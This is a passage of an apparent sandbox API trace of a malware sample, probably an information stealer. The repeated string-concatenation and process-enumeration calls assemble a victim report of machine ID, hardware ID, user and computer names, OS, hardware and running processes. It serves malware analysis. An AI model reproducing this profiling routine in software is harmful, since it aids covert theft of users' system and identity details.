MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- "
[0054.867] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- ", lpString2="whole.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe"
[0054.867] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe ["
[0054.867] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d978
[0054.867] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.867] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.867] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [", lpString2="2836" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836"
[0054.867] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n"
[0054.868] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="growth_city.exe")) returned 1
[0054.868] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In 